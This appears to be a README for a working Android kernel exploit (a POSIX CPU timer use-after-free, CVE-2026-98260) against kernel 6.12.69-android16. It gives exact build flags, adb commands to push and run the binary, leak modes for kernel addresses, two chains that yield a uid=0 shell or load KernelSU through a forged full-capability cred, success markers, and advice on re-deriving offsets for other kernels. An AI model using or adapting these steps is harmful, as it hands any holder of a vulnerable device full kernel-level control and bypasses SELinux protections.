
Exploit de use-after-free en temporizadores de CPU POSIX del kernel de Android para 6.12.69 que logra una shell con uid=0 o la carga tardía de KernelSU mediante credenciales falsas.
CVE-2026-98260 POSIX CPU timer UAF 移植,适用于 6.12.69-android16-6-g242e1a07f878
Dos cadenas:
timer: escritura cero de cred real → uid=0, u:r:shell:s0 (root en dominio shell, bset caps)timer fake: cred falso (full caps) → carga tardía de libksud.so de KernelSU instalado| Ruta | Resultado |
|---|---|
escritura cero de cred real + setuid(0) + exec sh | uid=0, u:r:shell:s0, ROOT_SHELL_OK |
cred falso + ksud late-load | libksud.so instalado (uapi 6), KSU_LOADED, su como u:r:ksu:s0 |
u:r:shell:s0), puede leer tracefs y /proc/slabinfome.weishu.kernelsu), fake usará automáticamente su lib/arm64/libksud.soNDK 28.2 (aarch64, API 35):
cd timer
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
-fno-stack-protector -fno-pic -I. \
-ffunction-sections -fdata-sections timer.c -o timer \
-Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
-Wl,-z,norelro -pthread
adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer
# Diagnóstico
adb shell /data/local/tmp/timer ids # sondear el id de evento de página de tracefs
adb shell /data/local/tmp/timer leak # solo filtrar base/cred/task, sin disparar el UAF
# shell uid-0 (cred real)
adb shell /data/local/tmp/timer # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell # sh interactivo
# KernelSU (fake cred + ksud instalado)
adb shell 'cd /data/local/tmp && setsid ./timer fake >timer.log 2>&1 </dev/null &'
adb shell cat /data/local/tmp/timer.log
Indicador de éxito de fake:
[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live
adb shell /system/bin/su -c id # uid=0 ... context=u:r:ksu:s0
fake, el proceso padre también queda park, reteniendo la página de fake cred mediante sockettimeout/kill sobre el proceso en park, de lo contrario la reclamación por init del nodo stale puede provocar panictimer/timer.c exploit
timer/timer artefacto estático
tools/*.c código fuente de diagnóstico de la migración
Las constantes clave están codificadas en timer/timer.c: los sitios do_timer_create/copy_process, selinux_state, panic_on_warn, el tamaño de la task cache de copy_process, los símbolos init_*
Al cambiar el kernel, volver a derivar usando el boot.img/BTF/kallsyms del dispositivo; los archivos bajo tools/ sirven para verificar el call site, el raw record, la fuga del timer y el canal de recuperación AF_UNIX de 8 KiB
woshigenm/CVE-2026-98260 (MIT): trigger, escritura cero de real-cred, ideas de fake cred/KSUghostlock-app: fase final de late-load de KernelSU